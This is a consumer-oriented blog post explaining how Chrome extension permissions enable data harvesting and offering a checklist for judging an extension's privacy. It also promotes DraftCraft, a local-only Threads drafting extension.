Privacy-first browser extensions: why your data should never leave your browser

A 2024 study by researchers at Stanford and CISPA Helmholtz Center found that more than 280 million Chrome extension installations included software that quietly harvested user data. Not malware in the traditional sense. Not flagged by antivirus scanners. Just extensions doing exactly what their permissions allowed them to do, reading browsing history, scraping form inputs, and sending it all to remote servers. The users who installed them had no idea.

That number is not a rounding error. It represents a systemic problem in how browser extensions are built, distributed, and evaluated. And it raises an uncomfortable question: how many of the extensions you rely on right now are doing the same thing?

This post is about what privacy-first browser extensions look like, why the default model encourages data extraction, and how you can tell the difference between an extension that respects your data and one that treats it as a revenue stream.

The extension you installed last week might be watching you

Browser extensions occupy a uniquely privileged position in your digital life. They sit inside your browser, the application where you do your banking, write your emails, search for medical information, and log into every service you use. An extension with broad permissions can see all of that. Every page you visit. Every form you fill out. Every search query you type.

Most people treat extension installation like installing a mobile app. They glance at the name, maybe read the description, click install, and move on. The permissions dialog appears for a fraction of a second and gets dismissed without reading. This is exactly what bad actors count on.

The business model is straightforward. Build something useful -- a coupon finder, a screenshot tool, a grammar checker. Get millions of installs. Then quietly collect browsing data in the background and sell it to data brokers. The extension still works as advertised. The user never notices. The data flows out silently with every page load.

Some extensions start clean and get acquired specifically for their user base. A company buys a popular extension, pushes an update that adds tracking code, and suddenly millions of users are sending their browsing data to a company they have never heard of. This has happened repeatedly with extensions that had hundreds of thousands of five-star reviews.

How Chrome extension permissions actually work

Chrome's extension permission system is the first line of defense, but understanding it requires more than a passing glance at the install dialog. Extensions declare their permissions in a manifest file, and Chrome groups these into a few broad categories that determine what the extension can access.

The most important distinction is between host permissions and API permissions. Host permissions control which websites the extension can interact with. An extension that declares <all_urls> or *://*/* can read and modify the content of every single website you visit. That is an enormous amount of power for a tool that might only need to work on one specific site.

API permissions control access to browser features. The tabs permission lets an extension see every tab you have open and their URLs. The history permission grants full read access to your browsing history. The webRequest permission lets an extension intercept, modify, or block network requests. Each of these is powerful on its own. Combined, they give an extension near-complete visibility into your browsing activity.

Manifest V3, Chrome's current extension platform, introduced some improvements. Service workers replaced persistent background pages, which limits how long an extension can run code in the background. The declarativeNetRequest API replaced the more powerful webRequest for most use cases, reducing the ability of extensions to silently intercept traffic. But these changes did not fundamentally solve the problem. An extension with host permissions on all URLs can still inject content scripts that read everything on every page.

The server call problem

Here is where privacy gets practical. Every extension falls somewhere on a spectrum from fully local to fully server-dependent. Where an extension sits on that spectrum determines how much of your data leaves your machine.

A fully server-dependent extension sends your data to a remote server for processing. Grammar checkers that analyze your text on their servers. Translation tools that send page content to a cloud API. SEO analyzers that upload your browsing data for analysis. Every one of these network calls is a moment where your data leaves your control. Once it is on someone else's server, you have no guarantee about how it will be stored, who will access it, or whether it will be sold.

Some server calls are genuinely necessary. An extension that checks prices across retailers needs to query external databases. A password manager that syncs across devices needs a server component. The question is not whether server calls exist but whether they are proportional to the extension's stated purpose. A drafting tool for social media posts has no reason to phone home. A screenshot annotation tool has no reason to upload your images to a remote server.

The most dangerous pattern is invisible server calls. Extensions that appear to work locally but quietly send telemetry, usage data, or page content to remote endpoints in the background. Without inspecting network traffic, you would never know. The extension works exactly as described on the Chrome Web Store page. The data extraction happens silently alongside the legitimate functionality.

Red flags in the permissions dialog

Learning to read the permissions dialog is one of the most effective things you can do to protect yourself. Here are the specific patterns that should make you pause before clicking install.

"Read and change all your data on all websites" is the biggest red flag. This means the extension can inject scripts into every page you visit. A tool that works on a single website should only request permissions for that specific domain. If a Threads drafting tool asks for access to all websites, something is wrong.

"Read your browsing history" means the extension can see every site you have visited and when. A productivity timer might have a legitimate reason for this. A text formatting tool does not.

"Manage your downloads" gives the extension the ability to initiate downloads on your machine. Combined with other permissions, this can be used to drop files onto your system without your explicit action.

Permissions that do not match the stated purpose are the clearest signal. If you are installing a color picker and it asks for access to your tabs, browsing history, and all website data, the permissions are wildly disproportionate to the functionality. That gap between what the extension says it does and what it asks permission to do is where data harvesting lives.

Watch for permission changes in updates as well. An extension that started with minimal permissions and suddenly requests broad access in an update has likely changed ownership or business model. Chrome will prompt you to approve the new permissions, but if you are in the habit of clicking through dialogs quickly, you might not notice.

What local-only architecture looks like

A truly privacy-first extension processes everything on your machine. No data leaves the browser. No network calls to external servers. No analytics pings. No telemetry. The extension works entirely within the sandbox of your browser, and when you close it, nothing has been transmitted anywhere.

This is exactly how DraftCraft is built. It is a Chrome extension for drafting and managing Threads posts, and it makes zero network calls. Your drafts, your formatting preferences, your content -- all of it stays in your browser's local storage. There is no server. There is no account system. There is no cloud sync that could be compromised. The extension simply does not have the infrastructure to leak your data, because that infrastructure does not exist.

Local-only architecture imposes constraints that actually benefit the user. Since the extension cannot phone home, there is no way to monetize user data even if a future developer wanted to. Since there is no server, there is no server to be breached. Since there is no account, there are no credentials to be stolen. The attack surface is minimal by design, not by policy.

From a technical perspective, DraftCraft uses Chrome's chrome.storage.local API to persist data within the browser and content scripts scoped exclusively to Threads pages. It does not request the tabs permission, the history permission, or access to all URLs. The permissions are scoped to exactly what the tool needs and nothing more. You can verify this yourself by reading the manifest file in the source code.

Open source as a trust mechanism

Privacy claims are easy to make and hard to verify. Every extension on the Chrome Web Store says it respects your privacy. Most of them have a privacy policy written in dense legal language that technically permits almost anything. Words are cheap. Code is not.

Open source changes the equation fundamentally. When the source code is public, anyone can read the manifest file and see exactly what permissions the extension requests. Anyone can search the codebase for network calls, fetch requests, or XMLHttpRequest usage. Anyone can verify that the extension does what it claims and nothing more.

This is not theoretical. Security researchers routinely audit open-source extensions and flag issues publicly. The community acts as a distributed review team, and problems surface quickly. Compare this to closed-source extensions where the only way to discover data harvesting is through network traffic analysis after the fact, which most users are not equipped to do.

DraftCraft's source code is publicly available. You do not have to take anyone's word for the privacy claims. You can read the code, search for any outbound network requests (you will not find any), and confirm that the permissions in the manifest match what the extension actually needs. That level of transparency is the difference between a privacy policy and a privacy guarantee.

Open source also provides a safeguard against the acquisition problem. If a closed-source extension gets bought and filled with tracking code, users have no way to know until someone notices unusual network activity. If an open-source extension's repository suddenly adds tracking code, it appears in the commit history for anyone to see. The community can fork the clean version and continue using it. The code itself becomes a permanent record of what changed and when.

A quick privacy checklist for any extension

Before installing any browser extension, run through this list. It takes less than two minutes and can save you from installing something that treats your browsing data as a product.

1. Read the permissions. Actually read them. Do they match the extension's stated purpose? A Threads drafting tool should not need access to all websites. A color picker should not need your browsing history. If the permissions seem disproportionate, find an alternative.

2. Check whether the extension is open source. Look for a link to a GitHub or GitLab repository on the extension's Chrome Web Store page. If the source code is available, skim the manifest file to confirm the permissions match what the store page describes.

3. Search the code for network calls. If the extension is open source, search the codebase for fetch, XMLHttpRequest, sendBeacon, and WebSocket. If the extension claims to work locally, there should be zero results for any of these. If you find outbound calls that do not match the extension's stated functionality, that is a red flag.

4. Look at the developer's track record. Check who published the extension. Do they have a website? Other extensions? A reputation in the developer community? Anonymous publishers with no online presence are higher risk.

5. Check the update history. An extension that has not been updated in years may have known vulnerabilities. Conversely, a sudden flurry of updates after a long period of inactivity can indicate a change of ownership. Either pattern warrants caution.

6. Read recent reviews carefully. Skip the five-star reviews and look for recent one-star and two-star reviews. Users who noticed privacy issues, unexpected behavior, or permission changes will flag them here. A pattern of recent complaints about new permissions or strange behavior is a signal to stay away.

7. Use the minimum viable extension. If two extensions do the same thing but one requests far fewer permissions, choose the one with fewer permissions. Less access means less risk. The most privacy-respecting extensions are the ones that ask for the least.

Privacy is a feature, not a footnote

The browser extension ecosystem has a trust problem. The default incentives push developers toward collecting data, because data is valuable and the technical barriers to collecting it are low. The permissions system helps, but only if users understand it and actually pay attention to what they are approving.

Privacy-first extensions like DraftCraft represent a different approach. Instead of asking users to trust a privacy policy, they eliminate the technical ability to violate that trust. No server calls means no data exfiltration. Open source means anyone can verify the claims. Minimal permissions mean the extension physically cannot access data it does not need.

This is not about being paranoid. It is about recognizing that the browser is the most sensitive application on your machine and treating extensions with the scrutiny they deserve. Every extension you install is code running inside that sensitive environment. The question is not whether you trust the developer today. It is whether the extension's architecture makes trust unnecessary.

The best privacy guarantee is not a promise. It is a constraint built into the code itself.